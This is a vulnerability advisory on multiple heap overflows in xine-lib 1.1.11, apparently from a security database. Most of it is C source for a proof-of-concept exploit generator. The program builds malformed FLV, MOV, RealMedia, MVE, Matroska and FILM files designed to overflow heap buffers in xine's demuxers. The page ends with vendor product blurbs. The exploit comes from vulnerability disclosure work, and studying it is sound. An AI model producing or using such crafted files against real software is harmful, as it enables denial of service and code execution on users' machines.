// source: https://www.securityfocus.com/bid/28370/info
The 'xine-lib' library is prone to multiple heap-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.
Attackers can exploit these issues to execute arbitrary code in the context of applications that use the library. Failed attacks will cause denial-of-service conditions.
These issues affect xine-lib 1.1.11; other versions may also be affected.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef int64_t i64;
typedef uint64_t u64;
#define VER "0.1"
#define BUFFSZ 0xffff
#define BE_FOURCC( ch0, ch1, ch2, ch3 ) \
( (uint32_t)(unsigned char)(ch3) | \
( (uint32_t)(unsigned char)(ch2) << 8 ) | \
( (uint32_t)(unsigned char)(ch1) << 16 ) | \
( (uint32_t)(unsigned char)(ch0) << 24 ) )
#define FLV_FLAG_HAS_VIDEO 0x01
#define FLV_FLAG_HAS_AUDIO 0x04
#define FLV_TAG_TYPE_SCRIPT 0x12
#define FLV_DATA_TYPE_NUMBER 0x00
#define FLV_DATA_TYPE_OBJECT 0x03
#define FLV_DATA_TYPE_ENDOBJECT 0x09
#define FLV_DATA_TYPE_ARRAY 0x0a
#define MOOV_ATOM BE_FOURCC('m', 'o', 'o', 'v')
#define RMRA_ATOM BE_FOURCC('r', 'm', 'r', 'a')
#define RDRF_ATOM BE_FOURCC('r', 'd', 'r', 'f')
#define RMF_TAG BE_FOURCC('.', 'R', 'M', 'F')
#define PROP_TAG BE_FOURCC('P', 'R', 'O', 'P')
#define MDPR_TAG BE_FOURCC('M', 'D', 'P', 'R')
#define DATA_TAG BE_FOURCC('D', 'A', 'T', 'A')
#define INDX_TAG BE_FOURCC('I', 'N', 'D', 'X')
#define VIDO_TAG BE_FOURCC('V', 'I', 'D', 'O')
#define DATA_CHUNK_HEADER_SIZE 10
#define FORM_TAG BE_FOURCC('F', 'O', 'R', 'M')
#define MOVE_TAG BE_FOURCC('M', 'O', 'V', 'E')
#define PC_TAG BE_FOURCC('_', 'P', 'C', '_')
#define PALT_TAG BE_FOURCC('P', 'A', 'L', 'T')
#define PALETTE_SIZE 256
#define PALETTE_CHUNK_SIZE (PALETTE_SIZE * 3)
#define EBML_ID_EBML 0x1A45DFA3
#define EBML_ID_DOCTYPE 0x4282
#define GST_EBML_SIZE_UNKNOWN 0x00ffffffffffffffULL
#define GST_EBML_ID_VOID 0xEC
#define FILM_TAG BE_FOURCC('F', 'I', 'L', 'M')
#define STAB_TAG BE_FOURCC('S', 'T', 'A', 'B')
int gst_ebml_write_element_id(u8 *data, u32 id); // from Gstreamer
int gst_ebml_write_element_size(u8 *data, i64 size); // from Gstreamer
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int putxb(u8 *data, u64 num, int bits);
int putxi(u8 *data, u64 num, int bits);
void std_err(void);
int main(int argc, char *argv[]) {
FILE *fd;
int i,
attack;
u8 *buff,
*fname,
*psize,
*p;
setbuf(stdout, NULL);
fputs("\n"
"xine-lib <= 1.1.11 multiple heap overflows "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <output_file>\n"
"\n"
"Attacks:\n"
" 1 = heap overflow in demux_flv (file.FLV)\n"
" 2 = heap overflow in demux_qt (file.MOV)\n"
" 3 = heap overflow in demux_real (file.RM)\n"
" 4 = heap overflow in demux_wc3movie (file.MVE)\n"
" 5 = heap overflow in ebml.c (file.MKV)\n"
" 6 = heap overflow in demux_film.c (file.CAK)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
fname = argv[2];
buff = malloc(BUFFSZ);
if(!buff) std_err();
p = buff;
if(attack == 1) {
p += putss(p, "FLV\x01");
*p++ = FLV_FLAG_HAS_VIDEO | FLV_FLAG_HAS_AUDIO;
p += putxb(p, 9, 32);
p += putxb(p, 0, 32);
p += putxb(p, FLV_TAG_TYPE_SCRIPT, 8); // tag_type
psize = p; p += 3;
p += putxb(p, 0, 32); // pts
p += putxb(p, 0, 24);
p += putxb(p, FLV_DATA_TYPE_OBJECT, 8);
p += putxb(p, 13, 16);
p += putss(p, "filepositions");
p += putxb(p, FLV_DATA_TYPE_ARRAY, 8);
p += putxb(p, 0x20000000, 32);
for(i = 0; i < 4000; i++) {
p += putxb(p, FLV_DATA_TYPE_NUMBER, 8);
p += putxb(p, 0x4141414141414141ULL, 64);
}
p += putxb(p, FLV_DATA_TYPE_ENDOBJECT, 8); // useless
putxb(psize, p - (psize + 3 + 4 + 3), 24);
} else if(attack == 2) {
p += putxb(p, 8000 - 24, 32);
p += putxb(p, MOOV_ATOM, 32);
p += putxb(p, 8000 - 16, 32);
p += putxb(p, RMRA_ATOM, 32);
p += putxb(p, 8000 - 8, 32);
p += putxb(p, RDRF_ATOM, 32);
p += putxb(p, 0, 32); // i + 4
p += putxb(p, 0, 32); // i + 8
p += putxb(p, 0xffffffff, 32); // i + 12
p += putcc(p, 'A', 8000 - 12);
} else if(attack == 3) {
p += putxb(p, RMF_TAG, 32);
p += putxb(p, 8, 32);
p += putxb(p, MDPR_TAG, 32);
psize = p; p += 4;
p += putxb(p, 0, 16);
p += putxb(p, 1, 16); // mdpr->stream_number
p += putxb(p, 0, 32); // mdpr->max_bit_rate
p += putxb(p, 0, 32); // mdpr->avg_bit_rate
p += putxb(p, 0, 32); // mdpr->max_packet_size
p += putxb(p, 0, 32); // mdpr->avg_packet_size
p += putxb(p, 0, 32); // mdpr->start_time
p += putxb(p, 0, 32); // mdpr->preroll
p += putxb(p, 0, 32); // mdpr->duration
p += putxb(p, 0, 8); // mdpr->stream_name_size
// mdpr->stream_name
p += putxb(p, 0, 8); //
mdpr->mime_type_size=data[33+mdpr->stream_name_size];
// mdpr->mime_type
p += putxb(p, 8, 32); // mdpr->type_specific_len
p += putxb(p, VIDO_TAG, 32); // mdpr->type_specific_data
p += putxb(p, VIDO_TAG, 32); // mdpr->type_specific_data
putxb(psize, (p - psize) + 4, 32);
p += putxb(p, PROP_TAG, 32);
psize = p; p += 4;
p += putxb(p, 0, 16);
p += putxb(p, 0, 32);
p += putxb(p, 1, 32); // avg_bitrate
p += putxb(p, 0, 32);
p += putxb(p, 0, 32);
p += putxb(p, 0, 32);
p += putxb(p, 0, 32); // this->duration
p += putxb(p, 0, 32);
p += putxb(p, (p - buff) + 8 + 8 + DATA_CHUNK_HEADER_SIZE, 32);
// this->index_start
p += putxb(p, 0, 32); // this->data_start
putxb(psize, (p - psize) + 4, 32);
p += putxb(p, DATA_TAG, 32);
psize = p; p += 4;
p += putxb(p, 0, 16);
p += putxb(p, 0, 32); //
this->current_data_chunk_packet_count
p += putxb(p, 0, 32); //
this->next_data_chunk_offset
p += putxb(p, INDX_TAG, 32);
p += putxb(p, 0, 32);
p += putxb(p, 0, 16);
p += putxb(p, 0x15555556, 32); // entries
p += putxb(p, 1, 16); // stream_num
p += putxb(p, 0, 32); // next_index_chunk
for(i = 0; i < 4000; i++) {
p += putxb(p, 0x41414141, 32);
p += putxb(p, 0x41414141, 32);
p += putxb(p, 0x41414141, 32);
}
putxb(psize, (p - psize) + 4, 32);
} else if(attack == 4) {
p += putxb(p, FORM_TAG, 32);
p += putxb(p, 0, 32);
p += putxb(p, MOVE_TAG, 32);
p += putxb(p, PC_TAG, 32);
p += putxb(p, 0, 32);
p += putxb(p, 0, 32);
p += putxb(p, 0, 32);
p += putxi(p, 0x555556, 32); // this->number_of_shots
p += putxb(p, 0, 32);
p += putxb(p, 0, 32);
p += putxb(p, 0, 32);
for(i = 0; i < 80; i++) {
p += putxb(p, PALT_TAG, 32);
p += putxb(p, PALETTE_CHUNK_SIZE, 32);
p += putcc(p, 13, PALETTE_CHUNK_SIZE); // -> 0x48
}
} else if(attack == 5) {
p += gst_ebml_write_element_id(p, EBML_ID_EBML);
p += gst_ebml_write_element_size(p, 8000); // not perfect
p += gst_ebml_write_element_id(p, EBML_ID_DOCTYPE);
p += gst_ebml_write_element_size(p, 0xffffffff);
p += putcc(p, 'A', 8000);
} else if(attack == 6) {
p += putss(p, "FILM");
p += 4;
p += putss(p, "1.09");
p += putxb(p, 0, 32);
p += putxb(p, STAB_TAG, 32);
psize = p; p += 4;
p += putxb(p, 44100, 32);
p += putxb(p, 0x71c71c8, 32); // sizeof(film_sample_t) is
36 bytes
for(i = 0; i < 3000; i++) {
p += putxb(p, 0x41414141, 32);
p += putxb(p, 0x41414141, 32);
p += putxb(p, 0x41414141, 32);
p += putxb(p, 0x41414141, 32);
}
putxb(psize, (p - psize) - 40, 32);
putxb(buff + 4, (p - psize) - 8 - 16, 32);
} else {
printf("\nError: wrong attack number (%d)\n", attack);
exit(1);
}
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
printf("- write %u bytes\n", p - buff);
fwrite(buff, 1, p - buff, fd);
fclose(fd);
printf("- done\n");
return(0);
}
int gst_ebml_write_element_id(u8 *data, u32 id) { // from Gstreamer
int ret, bytes = 4, mask = 0x10;
while (!(id & (mask << ((bytes - 1) * 8))) && bytes > 0) {
mask <<= 1;
bytes--;
}
if (bytes == 0) {
bytes = 1;
id = GST_EBML_ID_VOID;
}
ret = bytes;
while (bytes--) {
data[bytes] = id & 0xff;
id >>= 8;
}
return(ret);
}
int gst_ebml_write_element_size(u8 *data, i64 size) { // from Gstreamer
int ret, bytes = 1, mask = 0x80;
if (size != GST_EBML_SIZE_UNKNOWN) {
while ((size >> ((bytes - 1) * 8)) >= (mask - 1) && bytes <= 8) {
mask >>= 1;
bytes++;
}
if (bytes > 8) {
mask = 0x01;
bytes = 8;
size = GST_EBML_SIZE_UNKNOWN;
}
} else {
mask = 0x01;
bytes = 8;
}
ret = bytes;
while (bytes-- > 0) {
data[bytes] = size & 0xff;
size >>= 8;
if (!bytes)
*data |= mask;
}
return(ret);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int putss(u8 *data, u8 *str) {
int len;
len = strlen(str);
memcpy(data, str, len);
return(len);
}
int putxb(u8 *data, u64 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int putxi(u8 *data, u64 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> (i << 3)) & 0xff;
}
return(bytes);
}
void std_err(void) {
perror("\nError");
exit(1);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation